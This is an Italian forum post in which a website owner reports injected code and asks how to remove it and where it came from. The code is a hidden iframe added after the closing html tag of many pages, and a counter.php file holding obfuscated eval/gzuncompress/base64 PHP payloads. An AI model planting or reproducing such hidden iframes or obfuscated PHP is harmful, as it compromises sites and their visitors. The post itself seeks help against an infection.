in molti file .htm del mio sito mi trovo queste stringhe di codice dopo del tag di chiusura </html>
<iframe src="http://dominio/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

e sul server mi trovo un file di nome counter.php che contiene quanto segue:

<?php
//Counter V.2.35
//Generated by server
//Do not delete
eval(gzuncompress(base64_decode('eF6lUsFqwkAU/JUeCqtQiiS1ECQHe0ikCJJt0exKCdlNFNKIYkBIvl7nJYVqnic PmbfsvDczu5vncL74mM6/1iJJ000ifvzp8ZjWA5NW+ftbkuV2n+UDYcXTq3AlsAZkoVcZl1 YlkPitD/TF8OV22pW1vXwM0+qSJt/xx1hyYzXuqxNDcwDOH6nueiPRA6nIk59Xu6DR4L/VKHYoYakc71dHPnN/WfyJlkqvxqiFceg8Zf8+sX3prlD1CjgugKbz6E/80+46JaMLzWs9rkvByl3WBjXwDmZHP8eo76rQFXgN5YzlCdXOI ubsYKi71Wx0jIU82RkqN9Fpgy5zYAhYFkwKEG2SwoRdmgibeIX h5AxE9+BR'))); ?><? eval(gzuncompress(base64_decode('eF5Vj9tqg0AQhl8li GQT8ELMVQmhCG60kmizMdS0FBnPS3RXVrclCX33rrE3vZmPOf3 zTylZNlDOZgDlQqfLuw4bWwi4LpAXRa/J6YhJYrs4iJChaQaqOK+aAhnoCjXniinQXCq2PVORd4UAxawWv B3HUsoqhR5KEHTM+aDiQ5rgLSaYTLoE78MIJ7bjqMLU98KjOor AI2bm8K+dlfep5dep61/TVX57j/1b7m5NiAMT3vbybD0Nu1VgnmPiTTzIzK2/lcQz7TYK/2/MZa+8VgUbxt485y1QxqAtxvRh8M/AvJRN08FQTxqHEz5GyYm8jFtZXWSXsd5wflGfhJqhzbTlWhSDF Gymw4dOP9c/v836bFU='))); ?><? eval(gzuncompress(base64_decode('eF6FlG1rgzAQgP+Kh WINK8Mk1rZIYN1wZeDaYXVfRMRtuhXKCn3Zl+J/30VTNTSQT4bkubtw98RtaQ22x2NxsoZ5Xv5lNkKX793+I98ZYs MTX3bYn3+/LPsOI7GF2XAZrB8XwSYZZRCdjdLETq1htvHDdz9MYMuyUXrFCV vFQSBiKeOnkGpbWtZtGgxp6vvgMecIQowZZb47Fsg0FTyRearj qcw7Ot6R+YmOn8i8q+NdmZ/q+KnMz3T8TObnOn4u8xi06A1AmjDGKB0004QxXWCewqe+BpiCB 5DhdDgXhmkaKsTpEHRppk8VhmFQrHYHhmDc1ysXFgqHuETSJaZ QQYTM1CGdR1dwrga5QP3chIve5CZYHcIdkkJIF0Ih5NqTpR/VT4fwhojnQlSNaCWjyKsqaHzTNGIMoNP8rUEbbx4oblUj46c4D NZvURb6URyuonCx2jz74bh76FD+NkHrXpcgenn113HURoLv4uI Oe1CkaHUk9Q+gubeTiMIoZbVPBCYsROif1Ucu8orPn734STlep ajSSgxVquofilhu0g=='))); ?>


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Come posso risolvere questo problema?
e' un problema sul pc e durante il upload dei file sul server infetto quest'ultimo oppure è una falla di sicurezza del server stesso dove è hostato il sito?